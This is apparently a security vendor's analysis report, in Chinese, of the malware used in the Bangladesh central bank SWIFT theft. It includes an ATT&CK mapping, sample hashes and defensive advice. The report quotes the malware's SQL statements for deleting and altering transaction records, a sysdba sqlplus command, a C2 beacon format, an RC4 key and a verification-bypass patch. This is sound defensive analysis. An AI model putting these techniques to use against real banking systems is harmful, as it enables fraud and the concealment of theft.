孟加拉央行SWIFT被盗事件分析报告

时间 :  2017年11月09日  来源:  安天CERT

1. 概述


        自2015年初以来,安天CERT监测网络安全事件时发现多起关于SWIFT银行系统的攻击活动,被攻击的银行系统其中包括厄瓜多尔银行、菲律宾央行、马来西亚央行、越南先锋银行和孟加拉国央行等。在多家银行受到攻击后,涉案金额越来越多,从厄瓜多尔银行损失1200万美元到孟加拉国央行损失8100万美元,黑客盗走账户中的至少一亿美元的资金,目前1亿资金其中有2千万由于攻击者拼写错误导致转账失败,另有一部分在菲律宾已追回。针对SWIFT银行系统的攻击活动在全球范围内引起了高度的重视,该系统所存在的安全隐患也不容小觑。

        据当地消息称,孟加拉国央行在自身的网络防护体系中存在安全问题,例如,未使用防火墙设备进行策略配置;各类服务器之间没有做相应的网络隔离;工作人员在SWIFT系统上配置了WIFI访问接入点,其口令保护十分简单;SWIFT服务器使用上没有禁用USB接入等,各类问题成为发生网络安全事件的导火索。

        经研究人员分析发现,本次攻击是由4个样本的载荷模块配合完成,包括evtdiag.exe、evtsys.exe、nroff_b.exe和gpca.dat样本文件,主要功能包括:获取SWIFT报文信息、监听交易缓存记录、劫持转账消息ID、监控孟加拉国央行登录行为、绕过SWIFT系统安全机制和篡改交易金额和收款人等功能,从而实现窃取行为,攻击者通过劫持打印机篡改对账单导致工作人员无法及时发现被窃。

        经验证,安天智甲终端防御系统(简称IEP)可实现对该窃密木马的查杀与有效防护。



2. 事件对应的ATT&CK映射图谱


        本报告中涉及事件为攻击者针对孟加拉央行攻击行动,通过梳理该事件对应的ATT&CK映射图谱,揭示攻击者在该事件中使用的技术点,如下图所示。

图2-1 事件对应的ATT&CK映射图谱


        具体ATT&CK技术行为描述如下表所示:

表2-1 事件对应的ATT&CK技术行为描述表

ATT&CK阶段/类别

具体行为

注释

初始访问

网络钓鱼

通过钓鱼邮件传播

执行

利用主机软件漏洞执行

使用远程命令执行(RCE)漏洞

持久化

利用BITS服务

Windows服务启动

提权

利用有效账户

利用有效账户提升系统权限

防御规避

执行流程劫持

劫持登录日志

防御规避

修改身份验证过程

修改安全校验机制

凭证访问

网络嗅探

基础架构探测

发现

发现云基础架构

发现SWIFT服务器架构

发现

发现软件

发现SWIFT Alliance Access software软件

横向移动

利用远程服务器漏洞

利用RCE漏洞

收集

收集本地系统数据

收集本地银行信息

收集

收集信息库数据·

收集本地银行数据库有关信息

命令与控制

使用应用层协议

使用HTTP协议

数据渗出

使用C2信道回传

C&C服务器发送GET请求

影响

篡改可见内容

修改对账单

影响

损毁数据

删除交易记录

影响

操纵数据

恶意操作数据



3. 事件相关样本及分析


        主程序文件:

病毒名称

Trojan[Banker]/Win32.Alreay

原始文件名

evtdiag.exe

MD5

24d76abbc0a10e4c977a28b33c879248

处理器架构

Intel 386

文件大小

64.0 KB (65,536 字节)

文件格式

Win32 EXE

时间戳

56B48B8C->2016-02-05 19:46:20

数字签名

NO

加壳类型

NO

编译语言

Microsoft Visual C++ v6.0

VT首次上传时间

2016-03-26

VT检测结果

54/68


        服务方式启动恶意程序:

病毒名称

    Trojan[Banker]/Win32.Alreay

原始文件名

evtsys.exe

MD5

5d0ffbc8389f27b0649696f0ef5b3cfe

处理器架构

Intel 386

文件大小

16.0 KB (16,384 字节)

文件格式

Win32 EXE

时间戳

56B35603->2016-02-04 21:45:39

数字签名

NO

加壳类型

NO

编译语言

Microsoft Visual C++ v6.0

VT首次上传时间

2016-03-25

VT检测结果

51/64


        劫持打印对账单的恶意程序:

病毒名称

Trojan[Banker]/Win32.Alreay

原始文件名

nroff_b.exe 

MD5

1d0e79feb6d7ed23eb1bf7f257ce4fee

处理器架构

Intel 386

文件大小

24.0 KB (24,576 字节)

文件格式

Win32 EXE

时间戳

56B46377->2016-02-05 16:55:19

数字签名

NO

加壳类型

NO

编译语言

Microsoft Visual C++ v6.0

VT首次上传时间

2016-02-28

VT检测结果

52/68


        配置文件:

病毒名称

原始文件名

gpca.dat

MD5

f7272bb1374bf3af193ea1d1845b27fd

文件大小

33.0 KB (33,848 字节)

解释语言

bat

VT首次上传时间

2016-04-19

VT检测结果

7/58


3.1 主程序分析

        根据分析,可以得到恶意样本攻击流程。

图3-1 攻击流程


       3.1.1 攻击准备

        攻击者通过种植精心编译的木马得到SWIFT Alliance Access software服务器的权限,重点攻破以下几个关卡达到了窃取非法资金的目的。

        获得SWIFT Alliance Access software控制权;

        破解SWIFT报文安全检验机制;

        监听目标报文并进行篡改操作并实现对账平衡(主要是转入/转出);

        劫持打印机打印篡改前对账单。

        3.1.2 攻击程序启动

        恶意程序evtdiag.exe通过接收不同的参数来实现不同的功能。其中on、pause、resume、off、queue都是对打印机功能的操作,-svc参数则是将木马以evtsys.exe服务启动。

图3-2 恶意软件启动


        在运行时,恶意软件读取它的配置文件gpca.dat,该配置文件在服务器的路径如下,并通过同一目录下的recas.dat文件记录日志信息。并且使用RC4进行加密,密钥如下。

[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\gpca.dat
密钥:4e 38 1f a7 7f 08 cc aa 0d 56 ed ef f9 ed08 ef

       3.1.3 登录监控

        在数据库中循环搜索包含“登录”的日志记录,其中BBHOBDDH是孟加拉国央行的SWIFT码。

SELECT *
FROM (SELECTJRNL_DISPLAY_TEXT, JRNL_DATE_TIME
FROM SAAOWNER.JRNL_%s
WHERE JRNL_DISPLAY_TEXT LIKE '%%LT BBHOBDDHA: Log%%' ORDERBY JRNL_DATE_TIME DESC) A
WHERE ROWNUM = 1;

        搜索到“登录”记录后向C&C服务器发送一个GET请求,GET请求格式如下。

[C&C_server]/al?[data]

        Data有以下三种情况。

        ---O:Open,检测到登录行为;

        ---C:Close,检测到注销行为;

        ---N:None,没有事件发生。

图3-3:搜索数据库查找登录日志


       3.1.4 实时监控转账交易

        恶意软件监听SWIFT Financial Application (FIN)报文,深入分析转账报文文件。即以下目录中的.PRC和.FAL文件。

[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcm\in\
[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcm\out\

        从配置文件gpca.dat中读取指定字符串进行搜索。

“FIN 900 Confirmation of Debit”(FIN 900确认借记)
“20: Transaction”(20:交易)
“Sender :”(汇款方)

        如果搜索到了指定的字符串则会尝试提取MESG_TRN_REF(汇款人)和MESG_SENDER_SWIFT_ADDRESS(汇款人SWIFT地址)信息,并拼接出一个SQL语句,以获得MESG_S_UMID。MESG_S_UMID是银行收到的汇款请求ID,此ID唯一记录着包括转账账户、收款账户、汇款金额、汇款银行等信息在内的汇款请求信息。

SELECT MESG_S_UMID
FROM SAAOWNER.MESG_%s
WHERE MESG_SENDER_SWIFT_ADDRESS LIKE '%%%s%%' ANDMESG_TRN_REF LIKE '%%%s%%';

        根据ID在本地数据库中删除相对应的交易记录。此处是为了将恶意攻击者发起的交易记录删除掉。

DELETE FROM SAAOWNER.MESG_%sWHERE MESG_S_UMID = '%s';
DELETE FROM SAAOWNER.TEXT_%s WHERE TEXT_S_UMID = '%s';

图3-4 删除交易记录


        劫持SQL语句并关闭异常输出,防止异常情况被发现。

SET HEADING OFF;
SET LINESIZE 32567;
SET FEEDBACK OFF;
SET ECHO OFF;
SET FEED OFF;
SET VERIFY OFF;

        将劫持的SQL语句存入以SQL开头的临时文件中,恶意软件在终端以sysdba的权限来执行SQL语句。

cmd.exe /c echo exit |sqlplus -S / as sysdba@[SQL_Statements]> [OUTPUT_FILE]

图3-5 关闭数据库异常提醒


       3.1.5 修改交易余额

       恶意软件从以下目录寻找所有的SWIFT报文:

[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcp\in\*.*
[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcp\out\*.*
[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcp\unk\*.*
[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcs\nfzp
[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcs\nfzf
[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcs\fofp
[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcs\foff

        解析报文,获取以下字段所对应的内容。

"19A: Amount"
":Debit"
"Debit/Credit :"
"Sender :"
"Amount :"
"FEDERAL RESERVE BANK"
" D"
" C"
"62F: "
“60F: "
"60M: "
"62M: "
"Credit"
"Debit"
" 64: "
" 20: Transaction"
"90B: Price"
62F:该对帐单结束时的帐面结存的最后余额
60F:该对帐单结束时的帐面结存的起始余额
19A:该对帐单涉及的交易金额

        通过MESG_S_UMID查询有多少余额可以转账。

SELECTMESG_FIN_CCY_AMOUNT FROM SAAOWNER.MESG_%s WHERE MESG_S_UMID = '%s';

        通过UPDATE操作,更改交易余额。

(MESG_FIN_CCY_AMOUNT)
UPDATE SAAOWNER.MESG_%sSET MESG_FIN_CCY_AMOUNT = '%s' WHERE MESG_S_UMID = '%s';
UPDATE SAAOWNER.TEXT_%s SET TEXT_DATA_BLOCK = UTL_RAW.CAST_TO_VARCHAR2('%s')WHERE TEXT_S_UMID = '%s';

图3-6 篡改金额


       3.1.6 破坏安全校验机制和对账单验证机制

        SWIFT系统依靠liboradb.dll的进程对报文的格式、安全性进行校验。因此,恶意软件遍历所有的进程信息,如果找到一个挂载了liboradb.dll进程,它会用NOP指令替换JNZ指令,使得安全校验结果被忽略,绕过SWIFT的报文安全校验机制。

图3-7:绕过安全机制


        由于SWIFT系统在进行转账业务时会使用打印机打印对账单以确认交易的发生,这将会暴露出篡改的记录信息,所以恶意攻击者同样需要对打印机进行操作。nroff_b.exe程序劫持要打印的对账单,进行读取,理解并篡改成打印机命令语言(PCL)的PRT文本,修改文本内容进行掩盖,然后这个PRT文本通过SWIFT系统中的nroff.exe程序进行提交打印任务,并随即将临时PRT文本彻底删除。



4 .防御建议


        针对本次事件安天CERT 针对银行网络提供如下几点防护建议供参考:

        业务资料防止外泄
        业务流程文档加密存储
        业务职员办公室谨防视频监控
        摄像头采取安全措施谨防黑客攻击

        银行员工主机防护
        杀毒软件及时升级
        谨慎点击邮件附带的链接和附件
        如果发现未知威胁可以上传至高级威胁检测系统中查看行为

        银行关键系统防护
        做好内网隔离
        及时修补0day漏洞
        防止U盘“摆渡”



附录一:参考资料


        [1] 来源:Cyber Attacks Targeting SWIFT - Recap

        https://www.blueliv.com/research/recap-of-cyber-attacks-targeting-swift/

        [2] 来源:TWO BYTES TO $951M

        http://baesystemsai.blogspot.hk/2016/04/two-bytes-to-951m.html

        http://zh.wikipedia.org/wiki/Bash



附录二:关于安天


        安天从反病毒引擎研发团队起步,目前已发展成为以安天实验室为总部,以企业安全公司、移动安全公司为两翼的集团化安全企业。安天始终坚持以安全保障用户价值为企业信仰,崇尚自主研发创新,在安全检测引擎、移动安全、网络协议分析还原、动态分析、终端防护、虚拟化安全等方面形成了全能力链布局。安天的监控预警能力覆盖全国、产品与服务辐射多个国家。安天将大数据分析、安全可视化等方面的技术与产品体系有效结合,以海量样本自动化分析平台延展工程师团队作业能力、缩短产品响应周期。结合多年积累的海量安全威胁知识库,综合应用大数据分析、安全可视化等方面经验,推出了应对高级持续性威胁(APT)和面向大规模网络与关键基础设施的态势感知与监控预警解决方案。

        全球超过三十家以上的著名安全厂商、IT厂商选择安天作为检测能力合作伙伴,安天的反病毒引擎得以为全球近十万台网络设备和网络安全设备、近两亿部手机提供安全防护。安天移动检测引擎是全球首个获得AV-TEST年度奖项的中国产品。

        安天技术实力得到行业管理机构、客户和伙伴的认可,安天已连续四届蝉联国家级安全应急支撑单位资质,亦是中国国家信息安全漏洞库六家首批一级支撑单位之一。

        安天是中国应急响应体系中重要的企业节点,在红色代码、口令蠕虫、震网、破壳、沙虫、方程式等重大安全事件中,安天提供了先发预警、深度分析或系统的解决方案。

        安天实验室更多信息请访问:http://www.antiy.com(中文)        http://www.antiy.net (英文)

        安天企业安全公司更多信息请访问:http://www.antiy.cn

        安天移动安全公司(AVL TEAM)更多信息请访问:http://www.avlsec.com